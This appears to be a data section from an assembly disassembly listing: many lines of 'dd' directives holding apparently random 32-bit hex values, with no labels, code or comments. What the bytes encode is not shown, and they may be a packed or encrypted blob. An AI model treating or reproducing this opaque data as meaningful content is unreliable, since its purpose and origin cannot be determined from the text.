dd 70C49351h, 5303E656h, 0D1E993DAh, 0E0E4A4DFh, 980F18B0h
dd 850BB8C5h, 7C56900Ah, 0D105C808h, 0C0CE3FC9h, 89C0EF88h
dd 97231463h, 0A938640Ah, 0C67BD0CCh, 68321D86h, 0D7500C1h
dd 0DD3A3747h, 0A04D062Dh, 13AF6B8Ch, 25F97915h, 5C17565Eh
dd 0C09C4311h, 0C4BAF589h, 0E89E61E3h, 4AE8467Ch, 0BF0BE880h
dd 0E900442h, 88AAFFD8h, 8D00BAB4h, 33EA455h, 61CEE0EEh
dd 85738930h, 0CC97F82Ah, 0F35F9F05h, 5CA4D6D9h, 6FB412AEh
dd 0D0D8E071h, 0E361C172h, 0A7098179h, 18E9FFCh, 5A1C0563h
dd 0DE712ADFh, 0B7096868h, 0B89280F6h, 1AC85716h, 21B8D827h
dd 18EE71F0h, 0A040F62h, 5878D897h, 965CABECh, 194E22BCh
dd 0C12E12D0h, 98902061h, 0BE31C240h, 841D6BC4h, 0A3809311h
dd 6432B35Bh, 0E9DCD100h, 7020B9FBh, 3B252D50h, 30E4A0E5h
dd 1470D560h, 0E09F5B04h, 0B0C1AD1Dh, 9501FFCCh, 0A2E42394h
dd 0C022317Dh, 2D056C55h, 0CA19886Fh, 0FC2028C4h, 0A8A774h
dd 0A59F7E7h, 6627CFF1h, 0BF8F9CA8h, 8485F64Ah, 4323FC3Ah
dd 25B9670Fh, 4ECC670h, 0C14385ECh, 41402E02h, 0DCCA4F24h
dd 0A807FD04h, 6B0B7D50h, 3E08D2h, 5DDE0B40h, 0FC9F096Ch
dd 3858A7BCh, 2C3D4409h, 0C00C4D01h, 3F09D041h, 4849788h
dd 0B5109934h, 0F7A0B294h, 823DE078h, 0A930F842h, 99F35936h
dd 0E510088h, 0D2BEC6E0h, 89010D76h, 10BCB441h, 2C2EBF1Dh
dd 10F3BAF4h, 0F19FE4B6h, 97046C62h, 53279DA6h, 6C5C7830h
dd 22C410A0h, 0CAA5F9h, 0AAC04CC8h, 180BB4A0h, 4888F48Fh
dd 389914BAh, 52CCD280h, 94E9DEh, 7A46C5ECh, 3187DA7Ch
dd 9310C006h, 0B388968h, 1816D02Ah, 0CCCD30CAh, 1E0ECCh
dd 8D5FEC99h, 62170583h, 2402F89Ch, 5EE182DBh, 65D49C10h
dd 47917C1Dh, 1F951380h, 5E283115h, 6480A4F2h, 0D24CD5E3h
dd 99A02244h, 1886D160h, 748ECE4h, 26293872h, 0AAF04345h
dd 4007F1FEh, 9F939771h, 0C47CCCE0h, 0E3BA00B9h, 0F20CA042h
dd 2D48C31Ch, 22B2210h, 470ADAFAh, 0D7072A83h, 0AA711Ch
dd 0E1BD60F6h, 0A77FFA98h, 0EF08377Fh, 923ADA25h, 0E2D0B263h
dd 0E4CB3030h, 0CEE1C600h, 0DFF86381h, 0D15B0283h, 36D8D55Dh
dd 5F58AC7Bh, 4F181C5Eh, 8A0709D0h, 1E40F058h, 0D0415B8Fh
dd 0DC7DEC48h, 931624h, 0CD2A243Ch, 4CB3D034h, 473079A2h
dd 0C79F0304h, 0BCAECFA7h, 284096EAh, 762ADC54h, 820344Dh
dd 948F073Fh, 660C57E5h, 6CAD2048h, 0C0778BE2h, 6AB4FBh
dd 0CCE1D2F5h, 4591B18Fh, 550D6700h, 0CFAC3847h, 2F4F4A9Eh
dd 1E12328h, 0FC8434EEh, 6166C4F8h, 923685Ch, 78F76497h
dd 31F0C3ACh, 0F9FDA281h, 0D102006Ch, 0FC1BEC20h, 95470176h
dd 7CE8530Ch, 24089804h, 0F43C21h, 4BA93E76h, 0A6D0E5EDh
dd 0BFE17200h, 0B6F11FAAh, 6A9C0028h, 0E980B3CDh, 4400402Ch
dd 10C9DC13h, 0CE9886F2h, 0E500FB48h, 2F4E2CF1h, 4A644203h
dd 0B0530833h, 197BF79h, 0EF41E1A4h, 810BF037h, 56ECFE40h
dd 0D002362Bh, 1C327C0h
dd 2063A807h, 8ECA1C5h, 0F321C04Ch, 86DBC339h, 9872D116h
dd 0B2030401h, 2080FD89h, 75767920h, 0CC00B5AAh, 54AE62CFh
dd 0EA1E5Fh, 0C6AD880Fh, 729CF69Ah, 59D1D163h, 98D5F2C3h
dd 1176FE98h, 88FC9545h, 0F6428010h, 4E270676h, 0C876C00h
dd 791F3A31h, 0CC433E4Fh, 0C0888AAAh, 0F6FC5290h, 11C0ED87h
dd 11844E0Ch, 67700378h, 65406F34h, 80FC02A1h, 84562620h
dd 1AEEB6Ch, 8FDA29C9h, 98E8E089h, 0EAB0EC41h, 0FF5186D4h
dd 544360E0h, 100A58A9h, 376F745h, 0CA4CF0B8h, 2F907F37h
dd 0D10ABBF5h, 54FC59B4h, 4F80F911h, 68781284h, 21F8608Ch
dd 0AF845729h, 787D730Ch, 48ABF8E1h, 0C52A271Fh, 18700180h
dd 0F34A63AEh, 9844C108h, 1021B709h, 0D3AE070Fh, 0CA4EEADh
dd 0D7017AB1h, 0C9DBEF84h, 0F089CF2Bh, 6815D511h, 43800A11h
dd 0E7834197h, 237DB507h, 0D82F9577h, 549C50A8h, 3F1DCBEh
dd 0EF7A16AEh, 2BD89567h, 8430DFFBh, 0EEA180FDh, 0D8913DBAh
dd 3303C680h, 629B7120h, 18F598A1h, 0E84084Bh, 5C54878h
dd 532DB040h, 3A2784h, 0DC69388Bh, 0F4889DE6h, 9C5B41C0h
dd 186F60F1h, 98904FA7h, 7001111Bh, 0B950C541h, 982053D5h
dd 3E3D8C55h, 5BA891C3h, 0FA832A88h, 0EAA6C336h, 89A483F1h
dd 0CB7100EEh, 0E3B46864h, 79008554h, 3EF303BCh, 0F94FA5E0h
dd 14779048h, 9CF0A7B5h, 20884112h, 0E865C000h, 24002D90h
dd 6AF6EE36h, 193D374h, 31B32BF3h, 714B532Ch, 39E5E46Bh
dd 0F1D04E1Ch, 64429352h, 0E017FAFBh, 3C22F55Bh, 11804A1Fh
dd 321C8C50h, 6848317Bh, 0A20053D0h, 0FD083010h, 9A9C4B0Dh
dd 5447C812h, 0D08A5024h, 0C53CA90Ah, 0D1B02108h, 0EEE31857h
dd 15400BCh, 0CDE67FD4h, 0FCEAF160h, 4281F69h, 8C9839A4h
dd 4EAE080Bh, 0BCC4AB4Ah, 0ADEA0940h, 7F018397h, 9EEF570Dh
dd 5834C0A2h, 874F1378h, 72A0002Eh, 42403A47h, 0F38CA091h
dd 34A49C7h, 0C8B4036Ch, 0F100F589h, 0F3117BA2h, 0CE38B3h
dd 0B2AD7EC5h, 0B0DCE20Bh, 59A31A00h, 5CDF9D4Bh, 0A894914Eh
dd 1FF74678h, 78888449h, 21F8CF58h, 8405512Bh, 50FECBDDh
dd 7300845Fh, 5D37A0EFh, 4C040638h, 60347AB4h, 8E016F01h
dd 0AB108762h, 0BBC8984Bh, 0E0D4EC0h, 355A0146h, 13B5754Bh
dd 80F8543Dh, 12FA74A0h, 1430AF4Ch, 1CA003B0h, 0C1032EA1h
dd 232CB663h, 0D043B78h, 4D8448AEh, 20C03C22h, 0BEADE407h
dd 7246BF1Fh, 0F400119Eh, 68227881h, 84D899FCh, 8985732Ch
dd 88340B40h, 0F2E7C0BAh, 8B00CA3Ah, 0AF3C2E4Dh, 32A7E9Eh
dd 76194133h, 3ACFD1EAh, 1EA187C0h, 991A3526h, 7B40C0B8h
dd 118D71Bh, 0E170A010h, 248B05E3h, 8D9DA413h, 5C94018Ch
dd 48431EBh, 3640D9DCh, 0C281B098h, 2F7A2417h, 218C4A54h
dd 18BE7984h, 4C180073h, 91338052h, 9050FA9Dh, 528688B8h
dd 9025010h, 4954476h, 3B0080E7h, 0A5927601h, 1519025Ch
dd 0E1C3D222h, 0C90B44Ch, 44074B46h, 0A8A808C3h, 0E0404DC4h
dd 0FEB5C33Ch, 9277A200h, 7C97E41Eh, 0F7D8300Ch, 11BE2EA9h
dd 0B0176B0Fh, 48A20009h, 53C43127h, 0BBF290C7h, 0FA22E833h
dd 7F0488Eh, 0CA94F10Dh, 0EB104221h, 6FAF4620h, 0DCE000B3h
dd 3412BF5h, 9803888Bh, 0D43221ECh, 2AA900F9h, 0F1B9DEE1h
dd 9F057CC2h, 77FF01D9h, 0E9AB87h, 7426E968h, 1707D28h
dd 0A8837B3Fh, 20D1EC9Ah, 0C460DA24h, 7AA9D081h, 18BD6061h
dd 43A3267Ch, 9DC7D702h, 1B5D56Ah, 246C3F94h, 470310D0h
dd 0EBA81A7Bh, 32CDD81Fh, 2048992Ch, 2608DC90h, 8464C04Ch
dd 40217817h, 0FC038865h, 844C2C00h, 0EE5F93F8h, 56FB01B3h
dd 0F4BC66E8h, 14A980CDh, 0FD77C749h, 42810044h, 790CA49Fh
dd 0ED16DA47h, 143AC9DFh, 9D002323h, 4A49E428h, 1F0230A4h
dd 0C7BC6DC8h, 0F980D099h, 5DD54EDCh, 0C52800ACh, 4997DF6Ah
dd 6E50309Bh, 10E08B90h, 51FF4013h, 3F0BAC20h, 0A7B0068Ch
dd 28B4709Ah, 0E13BC303h, 50A40A28h, 4890E8B0h, 6580680Fh
dd 0EB8BC3E0h, 18503775h, 6CA44C0Ch, 91C3473Ah, 248833A8h
dd 203FE18Ch, 8D730984h, 800D635h, 0F53A6622h, 88009499h
dd 48F3DB57h, 0B8B52CEAh, 897D03CAh, 60A7D85Fh, 0E96B32FFh
dd 8C3C704Ch, 248991F4h, 13D4148Fh, 484021D4h, 1442042h
dd 3A2524h, 18C6FF74h, 0FE1899ACh, 0A7C93547h, 3910C8DDh
dd 4CA2A982h, 0DF5449C7h, 8430FCE5h, 1B00F190h, 0C34C9B66h
dd 0D4E68438h, 4276FB30h, 11F49523h, 0F3410F23h, 7268A476h
dd 4CFF8AC1h, 2C029022h, 1F238D75h, 364614C4h, 4DAE1201h
dd 0B09034Ah, 39ADC550h, 7A840A5Fh, 0D41F2581h, 0F2B4A2DCh
dd 20D73158h, 19F4AB10h, 0CA929F05h, 940DC527h, 184E2975h
dd 0DC14C88h, 0F5CC603Ch, 0C6CC0134h, 0AD832039h, 82B840C1h
dd 0EE489EDFh, 0A4B87CB4h, 4DE16B60h, 538CD730h, 0FE2BCD0h
dd 0E4208431h, 30114818h, 7B6B7300h, 0FCE994C3h, 16642CA7h
dd 6C60E260h, 103CB95Ch, 2C1224E3h, 882C8FEEh, 3BCCC025h
dd 0B09C78F1h, 109DD189h, 0E85D4C74h, 0C6E5146Bh, 41D89847h
dd 0F10F761Ah, 4CECC4Fh, 0F0B23A30h, 0CFC05F1h, 397B59h
dd 44E291C2h, 0C49B1F5Bh, 52D4BC50h, 0BF68A360h, 4C02B44Bh
dd 4F066809h, 89502A4Eh, 0D2F05700h, 0BA859329h, 509031Fh
dd 0D4941173h, 6EC063A7h, 0E13122D8h, 6C4DEE09h, 463840EFh
dd 9E7D0B78h, 1821D49Ah, 203385F5h, 1F400B08h, 0BA7200A6h
dd 0E1374DB6h, 40EB2B90h, 270B1BCh, 0BC28957Bh, 101F412h
dd 0F28777Dh, 5B17F9D8h, 0B63C7E01h, 0E8DBC81Ch, 554CCFF6h
dd 8CF9BC28h, 21699826h, 0FFF88806h, 5E109618h, 0A2000446h
dd 2E4805B8h, 7E097D46h, 24ABE892h, 42605120h, 0A82EFAC3h
dd 0F670403Bh, 56C3003Ah, 997D4AD8h, 0A03F35EBh, 6D48864h
dd 0CB4200D1h, 0BC3EF4BBh, 1463AC90h, 0BB1D8E19h, 9D9CE8DFh
dd 0FF1B02E3h, 0C4116AA8h, 0A0E5C480h, 0D301701Ah, 6CC871A6h
dd 58F39ED0h, 0E3100CE9h, 0CAD2003Dh, 583794C7h, 6EC4A004h
dd 7529C9E6h, 4A9C1C01h, 0F3AF001Ch, 0C474A5C4h, 6A256057h
dd 1B450F22h, 0D1600390h, 1865E16Bh, 0CE6F9500h, 4128F762h
dd 1898586Eh, 0FC8CF6E8h, 2B4B119Eh, 0FF8F0E1Eh, 98EEA0FCh
dd 244F4A11h, 8607CA7h, 3E0712B3h, 0DFB0A693h, 1CE5F34Bh
dd 12A25C4Ch, 0F1DC0050h, 17FAEE75h, 0E0667E01h, 0D7EF56B4h
dd 8C3C3465h, 8C4EE8h, 777048EAh, 0EEBF0A9Dh, 7C83714h
dd 0A32105BCh, 0E009CA34h, 91DC9DABh, 0C9F68123h, 44FAC695h
dd 0C54300F0h, 0A0CF9CE6h, 0CB01AA80h, 54A6C787h, 60F1C686h
dd 2CAD6BCCh, 0C2643A1Fh, 84E1AE0Eh, 0B08038E3h, 0E2ADE502h
dd 7057006Ch, 5F94928Dh, 1B18A428h, 7A49636Dh, 9622011Eh
dd 0A2854DE3h, 5B602405h, 3D804099h, 0D644D829h, 5DAF3A36h
dd 32670200h, 0C6075812h, 0FA4DC07Dh, 5AB50008h, 93D8B3A6h
dd 7217CF0h, 7B4FFD45h, 4C174985h, 59802491h, 0B2A09BEFh
dd 78BCBCA0h, 0F7463305h, 0C02FFD22h, 69004D23h, 75E26496h
dd 94AB002Ch, 1AE7DEB2h, 0A2051989h, 53172434h, 0F8E138B2h
dd 1DA0CFBh, 62248AA1h, 51CCF428h, 0FCFC65C4h, 3E7207D5h
dd 642A03Dh, 4F2C4649h, 80BA4899h, 0A5588900h, 4B832DA0h
dd 49F7A103h, 0F0426584h, 14D1E416h, 0D00177A8h, 0B4C1057Fh
dd 88C51FBBh, 60744558h
dd 465EF49Eh, 5AD90509h, 84EFC58Bh, 0EA840185h, 626F2291h
dd 7C2A1EE8h, 0C4476605h, 8CE5F088h, 430876E0h, 6454AC95h
dd 0F8404108h, 90E85D76h, 0D4EB0022h, 0EA18B40Ah, 0FB2C6C4Bh
dd 7B41582Bh, 0AC50FF87h, 32CE3F1h, 0A36951DAh, 4EF8DDECh
dd 0FF0A3766h, 90AEFA01h, 0BC208100h, 0F8AF89FEh, 0D3B434D1h
dd 0F1B8E241h, 190CFC02h, 48B97E01h, 21A4FAB1h, 0CC61D6C9h
dd 8B70063h, 2C821EC0h, 9C6201EFh, 0D6CDE46Eh, 438C500Bh
dd 881D2E6Bh, 9A807CF5h, 7A331A14h, 86670126h, 0E4DF9525h
dd 176830F1h, 37AD760Bh, 6E0C034Ch, 0F290235Fh, 0D844A01h
dd 0E5078h, 584522Ah, 6A9623h, 3EDD2988h, 5528E513h, 0BA9074E5h
dd 683E335Eh, 99388C7Fh, 8834F04Ch, 18CE491Ch, 0C2FC109Ch
dd 0C0505CE2h, 9E12EAh, 0AF467A23h, 0BC758E15h, 96C44D15h
dd 78844CCCh, 0B516977Ch, 58803923h, 0C11346B4h, 0DC84C520h
dd 88984E52h, 0E280CE02h, 0D96493D4h, 0CD1A7479h, 6781436h
dd 2A11F244h, 7EC12D4h, 0AEB0CB90h, 0EE46004Ah, 2B007B3Dh
dd 54DC129h, 6C781E2h, 0D7AD7562h, 0FF09B03Ah, 0C18CA2A0h
dd 0EC24CBE0h, 414726FEh, 0DE68A614h, 0D74B2A00h, 0D265DDDBh
dd 904758EEh, 0CDB0A180h, 1758FEF1h, 3052A29Ch, 0FD16C345h
dd 6C3843A8h, 0C33D0EDFh, 873ED9Ch, 0BB8027F0h, 1DB176E5h
dd 0B6F6047Bh, 0D0F8D80Bh, 975E8A28h, 5B00F4E0h, 0BD9B8278h
dd 9051281h, 2396A422h, 18F3B811h, 18840E65h, 8AB23878h
dd 4D2F00B8h, 21813D84h, 352400F6h, 834845AAh, 8B80D0F9h
dd 0A11B6078h, 0CEDF44E1h, 1C416600h, 5EAF656Ah, 9F190503h
dd 0C01263C1h, 6F6BE5D0h, 23C04758h, 0AE19013Fh, 68DB4A64h
dd 1003B024h, 88F701AEh, 9DCD1FB6h, 0A2A82324h, 36230F9h
dd 194B3200h, 22B5BB70h, 0F9509FEFh, 0C4A71CA1h, 0D901FEE6h
dd 43E97585h, 57F97261h, 27B577D4h, 840B4EF3h, 0BB912017h
dd 4DE0458Eh, 0CA2E622Dh, 8BCE6E01h, 0AB3889D4h, 99E04876h
dd 8D1776EAh, 0A06FB62Eh, 0BD9CE206h, 5B4CF907h, 26661787h
dd 97ADB4C0h, 0B44E8057h, 180B8E35h, 8CDF4080h, 2889E02h
dd 3221F764h, 58031860h, 13A9B180h, 0D163FD72h, 1DB8A0h
dd 1E247778h, 434219DDh, 98A6CE65h, 0E0A2E8C9h, 740004D1h
dd 0E112B78h, 6C8370Bh, 0B0A91BA7h, 71081893h, 3C6FF5h
dd 1A39FBE8h, 4E014894h, 3824FEA3h, 518195BBh, 4AA6ECB8h
dd 0A703DC1Fh, 0B0091766h, 0F4D80021h, 110DE9A6h, 40DA3083h
dd 0E6B96048h, 898C0A2h, 70EC554Bh, 28B4660Ch, 0DEF30969h
dd 55534021h, 3389EDD1h, 0D906D200h, 256D0AAAh, 0C4201980h
dd 483258A7h, 0A604F24Ch, 4181F50h, 0D220A432h, 626A6FAh
dd 0BAE46415h, 0EC0019A5h, 0A569449h, 9AE5DBh, 0AAACD60Fh
dd 0BE84373Fh, 0F76B6506h, 31129Fh, 4877F398h, 0F0378E1Dh
dd 8154761Fh, 0E7FE2800h, 0C0278052h, 0E4404429h, 230C9DF0h
dd 9A59487h, 9C21DF2Eh, 0AC2B8037h, 0C4B61DD5h, 643CB53Eh
dd 3F605348h, 9D21EDE4h, 36E7C33Bh, 6A1D2000h, 5322CE6Ch
dd 3D23069Ah, 5091C309h, 69431B07h, 9380C2F6h, 0B0C46174h
dd 99420060h, 1BA3B5D3h, 30C008ADh, 250D6D05h, 0B4C654C7h
dd 0F3048C33h, 101F4FA6h, 0D120AF62h, 1F5CA6FBh, 0C1867E1Bh
dd 99D1FE3h, 0AF708C98h, 0A4589065h, 0E43A0470h, 62539DEAh
dd 31A02F39h, 0DB5B1BE4h, 448B250Ch, 8C3599C8h, 4DA6F10Eh
dd 0D3E0101Fh, 117AA6F9h, 0F0481B00h, 0B5949F20h, 37B980AEh
dd 80281C65h, 68F1F420h, 388648BDh, 0EFC037C8h, 211F4BA6h
dd 0AE9103F0h, 0F7D512h, 0AF020C3h, 0EAE8B90Fh, 0A51C8FF4h
dd 78F1119Ch, 30A891D2h, 0E9142030h, 0E7690A00h, 0D6F1181h
dd 0C82F29ABh, 18AC7940h, 5E01006Bh, 0F22DCA93h, 80306822h
dd 0B1DDE121h, 74C00707h, 70D1A6ADh, 9295C5EEh, 0EA066E7Dh
dd 97A2C6A5h, 0A6B93050h, 64D5B759h, 0D1883E03h, 905448DEh
dd 1915BCh, 0EAAE062Ch, 99CBEED5h, 0E869A924h, 0E11100A4h
dd 0F3555080h, 0E08C2E70h, 582380A3h, 0DE425500h, 41A836C2h
dd 0CE402F0h, 1FE7ED67h, 64239800h, 605E980h, 41CFFB9Ch
dd 0E90082F0h, 0C1A3A67h, 3A21E449h, 8B3748D4h, 20E1E721h
dd 4F0FB446h, 66522F02h, 2035D0CCh, 17D94373h, 6B018890h
dd 889D5164h, 21A4A1E2h, 0D09B0500h, 0FA40484Dh, 6167EAC2h
dd 404804A4h, 0E2688895h, 7827CEDEh, 749C1FEEh, 9198292Bh
dd 554D80E6h, 8C5670EEh, 2621FD67h, 423620FEh, 120CAB9Eh
dd 3B23C83h, 2A1F9F66h, 649D5904h, 3C809205h, 572B5F0h
dd 0B11B7049h, 2B3BC2FCh, 0FE113C97h, 0D85AA880h, 0EA034D42h
dd 90D1C5F6h, 6950007Dh, 0DA928983h, 0A513F2AFh, 0B500C7C9h
dd 6782CB6Ch, 149F18E3h, 0DA8DA159h, 2E7F1512h, 0F4287801h
dd 13C44935h, 0C79F00B3h, 0E786B6D2h, 4B303DECh, 43F020E8h
dd 320412C5h, 1C190099h, 133FEE81h, 0EF444090h, 962324EBh
dd 5F88160h, 82946FD1h, 0BD1B7110h, 0D4F4840Ah, 0F1194D1h
dd 93231080h, 711472B3h, 426B1519h, 84DA7498h, 4A60E794h
dd 7023ED55h, 1F4115Eh, 11555229h, 2491D1h, 32F9002Fh
dd 26BAACB4h, 5D0706B8h, 3307B0ECh, 0C7278510h, 975C28D1h
dd 0F8EB13A4h, 579C0870h, 0E9E43BC0h, 225B469Dh, 32EB003Ah
dd 292E5DE4h, 80E718A0h, 9E7CD219h, 190EFF67h, 0D833EBEEh
dd 6414224Eh, 3D605568h, 9D21EBE4h, 34E9C04Bh, 0A60043E4h
dd 3FBDEF76h, 291D3660h, 7B944D67h, 7A18A382h, 0F447018Dh
dd 431D713Dh, 57A08123h, 4B1BE37Ch, 6480F5EBh, 9BC4D30Ah
dd 205978CCh, 6664AD00h, 2241F955h, 0BF120C81h, 34299CB9h
dd 45E3C400h, 0B27DDF43h, 557F008Dh, 706CBD90h, 3E6097EDh
dd 0EB042598h, 430931Fh, 0C03BF142h, 0D3F2538Fh, 2584BB00h
dd 89B46F0Ah, 937824D9h, 67E344B8h, 70F15590h, 0F5448C3Eh
dd 55561F25h, 23B0C131h, 64C2FFBDh, 0D8AC51F0h, 0EFE44105h
dd 0A88E2B9Dh, 2038E518h, 0A70399EDh, 0BA17AFCEh, 85C1039Fh
dd 0D28E5EDCh, 1FBE9D98h, 0BA318C90h, 406A2193h, 2120AE8h
dd 4B9C3A8Dh, 98400B21h, 3D13578Ah, 8460F998h, 103C67EBh
dd 0C848FC1Ah, 0E3658796h, 43745167h, 885074A1h, 0CCB65809h
dd 0FEDC0205h, 11F40826h, 0A6EE8036h, 0B1F81F4Ch, 0F6D6C080h
dd 0C900BBA6h, 0AE1CD2F3h, 962ED7Eh, 83B8D995h, 9219AC22h
dd 58099451h, 0C5B83A99h, 6039C4C4h, 1270DF27h, 2C41771Dh
dd 58C54ACh, 9DEEE43Eh, 0E6282833h, 7BE43501h, 0E7E36E5Ch
dd 0CEA2024h, 0E1A6CF65h, 25F1B310h, 254C5084h, 0F0801CBFh
dd 95742E9Dh, 9C7B9FBCh, 97E38B23h, 18F75811h, 3E6705EDh
dd 8B48EC1Ah, 0E5630798h, 45505B67h, 31877668h, 0BE8D77Ah
dd 72170055h, 0C3E70725h, 0C07B961h, 52E06A02h, 110ECDA3h
dd 40C35A20h, 4245489h, 8446681h, 421D211Bh, 5DC0C352h
dd 5592ED1Fh, 832714FDh, 1DBC26C1h, 1521008Ch, 0C8599CE1h
dd 0BC9838A0h, 0FABF0F07h, 8651D93Bh, 30870139h, 0E0D5BD89h
dd 8C6607E0h, 507291FFh, 22C35887h, 19314489h, 0C3504010h
dd 43186600h, 51CDA898h, 0E9D70F81h, 5E6080C7h, 0F04C1F6h
dd 91E88429h, 5E875691h, 748922C3h, 46101C31h, 2F00C356h
dd 0E39123DAh, 76575Dh, 0FBB70F92h, 1AE995FFh, 0B82DC4D0h
dd 0E00E8C1Ah
dd 4088E366h, 0F08B4F0Ah, 0FA5CC75Bh, 5C2AFA2Bh, 83031946h
dd 0C5886559h, 0DD8589B8h, 3DA23061h, 28A00834h, 355F68C4h
dd 1B4774BBh, 0C0CFBE03h, 8BB0B8B5h, 0F1BFC60h, 0D027058Ch
dd 0A8DD881h, 3FE96123h, 9817F436h, 5F024B3Ch, 40FA6720h
dd 8024F51Dh, 0E0E5C08Bh, 10C40201h, 8788E952h, 0EEEA1E06h
dd 82A8C138h, 0C9C38B5Eh, 578691D8h, 88BC5F8Fh, 18C47C89h
dd 0C3574740h, 2A1C9497h, 6B80ABBEh, 0C71249E2h, 0C0E17085h
dd 309F37Ah, 1463E81Fh, 0E8C6D239h, 11A81BEh, 490E743Fh
dd 84306D7Ch, 4651D7E0h, 8E0F5181h, 1BD69C58h, 0DC5F55FDh
dd 398CAC76h, 8912C35Dh, 4558386Ch, 0CEC3550Fh, 6185E09Bh
dd 40D1EC22h, 8108F9BFh, 151391BDh, 297D94D0h, 91D04B85h
dd 0C35B8753h, 315C8922h, 53431016h, 0A7D73AC3h, 2E85FF14h
dd 19E25B42h, 0B062F033h, 98A67488h, 0B6FE611Ah, 49B5FFF7h
dd 88DE0B2Dh, 14CCC017h, 87900E3Fh, 0A01A6920h, 0AD18A9DEh
dd 4213E02Bh, 8908336Ah, 1431618Dh, 1BB82690h, 2232008Ch
dd 0A4B08EDFh, 0AA90ACABh, 6E53FB24h, 60B3E519h, 16ED0E88h
dd 0A733C128h, 0FCA51494h, 13C5BB00h, 61265CF5h, 4674E15Eh
dd 60B21F14h, 0BA55C140h, 300F0B9Bh, 33230C82h, 216F759Dh
dd 178B8D6Ch, 10D6B9C0h, 226757B7h, 0B6BB5C08h, 0CE301718h
dd 0E8A061CEh, 896453F0h, 0BE0029C8h, 43ABAEA1h, 75185E62h
dd 16370906h, 782F5880h, 2184229h, 9D89CF9Fh, 0F1240431h
dd 1488718Eh, 2BCC87C4h, 0B38A00D6h, 0C0A8E99h, 5154B58Bh
dd 7DA0E8D0h, 0E30079EAh, 529F4505h, 6BF6698h, 0E95E1C14h
dd 0A500250Ah, 0E07B8D15h, 3F84D7DDh, 74A448ACh, 0ACEA3878h
dd 70D11CDh, 5A49BE50h, 0DC04124h, 0CB1B11BDh, 6B37C1D7h
dd 49EA5380h, 71BA9B0h, 81030C6Bh, 7B3D50C7h, 470EB3Eh
dd 1AF92CB9h, 4A027318h, 0CCE66517h, 7D9582E1h, 0BD29002Bh
dd 0CC12521h, 13C9858Dh, 0FE8B5000h, 24048912h, 1823003Ah
dd 2EA72C00h, 0C45788E5h, 317D966h, 13E85Eh, 620C9C2Bh
dd 0B7AD8A10h, 0D9B5630Eh, 531F8081h, 0E262CFBh, 9D01BBA8h
dd 5F3EF13Dh, 0B28F336Ah, 0F6E83019h, 42AA6303h, 48FA8BDBh
dd 0CE0CF346h, 3CFE59A5h, 7E41701h, 12999589h, 0C0837280h
dd 6090F905h, 3A82AA90h, 8CC8A585h, 7800CE32h, 8663F27Eh
dd 6218CFh, 0B25D74E4h, 0F42F84F8h, 75BBC900h, 9596B866h
dd 50612459h, 0C8B40548h, 0C7470390h, 0E139926h, 32249531h
dd 34419281h, 0B88A0F01h, 9D8D0275h, 67E3A393h, 601C649Eh
dd 4E9776h, 0E7E567E1h, 0D3FF5D96h, 17D13491h, 97B8FB18h
dd 1341E458h, 1F7B20FDh, 2742300h, 8B27E64Eh, 0EA2A11B6h
dd 5D7EE850h, 46ED8115h, 0A20A53DAh, 0CA84301Dh, 0AF7CECE0h
dd 179E520Ah, 0D509FF99h, 0DFEE902Dh, 0E1D8B134h, 0C201AD86h
dd 407AD253h, 38D600Bh, 0EC3FC298h, 0E9C29DDCh, 1C009044h
dd 0A22D29ADh, 1D1DD64Fh, 1EFA3D73h, 0DBBFC2CFh, 0F087BA6Fh
dd 0AF2019B5h, 19D8B61h, 0F8FF1E58h, 0FA008C1Ah, 0F06D3CBAh
dd 0B9E86A54h, 0D990389h, 80FCC186h, 5F0FD15Bh, 25E38138h
dd 91E91D01h, 7F8914h, 6F2EF7Bh, 0B6DB4C0Bh, 0F92CC022h
dd 0E04079E9h, 0C4AD99h, 6EE27565h, 0DF157FD2h, 0BCBD831Dh
dd 0CA200264h, 1F488425h, 80161172h, 0E930D942h, 6423A793h
dd 5A41601Dh, 54C40016h, 8CC5F8Eh, 8551C793h, 991755h
dd 1E17B860h, 0E9379016h, 0A0805B27h, 16F141BEh, 0B9D328Eh
dd 581186D8h, 0FBC948E9h, 37539B0Fh, 0B13B4D68h, 15A20323h
dd 5C28A430h, 22231F9h, 59849190h, 370415E1h, 0DD102B0Dh
dd 8B8FE604h, 313B8D8Dh, 5DD30h, 72FF2381h, 0E7D8E7FEh
dd 0B8B605E4h, 9E84Ch, 5D9E9867h, 0C502D724h, 9501471Bh
dd 5FB648B5h, 0DB8C2466h, 1846742Eh, 5F7C91Fh, 0E8C235h
dd 0D92B561h, 977F2591h, 0CFB1601Ch, 5F4461DCh, 53E0C3F6h
dd 1DE4873Ah, 0EF67067h, 6D0459FBh, 0BBFD812Bh, 884C51E3h
dd 2C31D510h, 35A4B350h, 0F9ED6206h, 80F99A26h, 0A418F5A5h
dd 257520ABh, 316FB04Fh, 0A5672100h, 2FC6EBDFh, 1060A65Ch
dd 0E6132D5Dh, 23A33A70h, 3FB8801Bh, 0F7BEDE42h, 0C051A348h
dd 56CF24D5h, 8E0F22CEh, 7148E4E0h, 8C17E8ACh, 227A791Eh
dd 0EC63BCACh, 0EE77D19Ch, 98C3C7FDh, 0F25B2631h, 0D1F905E9h
dd 0C769C902h, 0AB40FF2Ch, 0F5E2860h, 23D8B603h, 1A107DBDh
dd 5306BAFEh, 52588EE2h, 135B525h, 4E8C1E9h, 14885B4Bh
dd 80E9B3C2h, 63114509h, 59CA00AFh, 3637E17Eh, 9F0F138Ah
dd 40C68850h, 66808230h, 70E264F7h, 0C3596151h, 874C89C8h
dd 0C3514102h, 4037781Eh, 0D8492B2Fh, 0E5BC64h, 9D99303Bh
dd 0C7076D7Dh, 9C20D44Ah, 156195Dh, 0C361B420h, 70FDEDA0h
dd 0F0098B69h, 98241C89h, 504CFB69h, 272D845Ah, 253A2762h
dd 15113A97h, 0E31C4184h, 19D6401Dh, 93901048h, 0B6305204h
dd 7F2E6B84h, 0D40C1523h, 402D56F7h, 5C90FC2Ah, 51D12C4h
dd 0CD813C09h, 3D024283h, 18DE8ABh, 1943A707h, 89DDF04Ch
dd 295957BAh, 148FA252h, 0C514631h, 23259D29h, 0E930C3F9h
dd 1F31B10h, 9868F4ABh, 0CFA40063h, 1B449DD6h, 30240524h
dd 0BF8164F8h, 60D7EF03h, 9F663425h, 3AD6C0F4h, 711E8CCFh
dd 4C5B6D21h, 8A2BDBBEh, 737C73D8h, 1D97589Ah, 5D811911h
dd 0CD38F67Fh, 3DD4417Bh, 0B812225h, 0A96E880Fh, 0C00DCD55h
dd 3060A158h, 0DE71B42Dh, 0B533044Ch, 209FE145h, 0D1A4862Ah
